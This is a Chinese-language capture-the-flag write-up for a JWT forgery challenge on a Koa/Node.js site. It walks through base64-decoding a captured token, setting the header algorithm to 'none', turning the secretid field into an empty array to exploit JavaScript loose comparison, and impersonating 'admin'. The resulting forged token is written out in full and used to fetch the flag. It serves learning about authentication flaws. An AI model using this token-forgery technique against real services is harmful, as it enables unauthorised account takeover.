这又是一道关于jwt伪造的题目。先了解一下jwt吧
JSON Web Token由三部分组成,它们之间用圆点(.)连接,并且经过了base64编码,由于"="会存在冲突问题,所以必须要去除"="。然后这三部分分别是:
- Header
- Payload
- Signature
因此,一个典型的JWT看起来是这个样子的:
xxxxx.yyyyy.zzzzz
看一下这个题的界面吧
一个登录框,或许会想到sql注入,但尝试了很久都没成功。所以遇见这种要注册的,还是乖乖注册。注册后登录同时并burp抓包
这个就是jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzA4NjA1ODYyfQ.5RSdOcfpLNcQY45_jthp7jZ2TK7SCFu2lpVlUxS5o40
访问下边这个网址解析
但是问题来了,虽然知道具体传递内容,但是修改那些值或者改为什么值呢?这里还需要其他信息
在源代码这发现了一个app.js文件
flag应该就在api目录下。顶端还了解到这是koa框架。这里就可以到源码里去看看了
访问/controllers/api.js得到主要逻辑代码。
目的应该就是登录账户admin了
利用方式
利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。
header部分
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
--base64解码-->
{"alg":"HS256","typ":"JWT"}
--修改-->
{"alg":"none","typ":"JWT"}
--base64编码-->
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
--剔除"="-->
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
js是弱语言类型,可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)
eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzA4NjA1ODYyfQ
--手动添加=-->
eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxIiwicGFzc3dvcmQiOiIxIiwiaWF0IjoxNzA4NjA1ODYyfQ==
--base64解-->
{"secretid":0,"username":"1","password":"1","iat":1708605862}
--修改-->
{"secretid":[],"username":"admin","password":"1","iat":1708605862}
--base64编码-->
eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEiLCJpYXQiOjE3MDg2MDU4NjJ9
payload:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEiLCJpYXQiOjE3MDg2MDU4NjJ9.
因为将alg修改为了none,所以第三部分就不需要了,直接为空
伪造成功
将这两串红复制下来,贴在访问/api/flag的数据包上
东西好多,记不住要长脑子了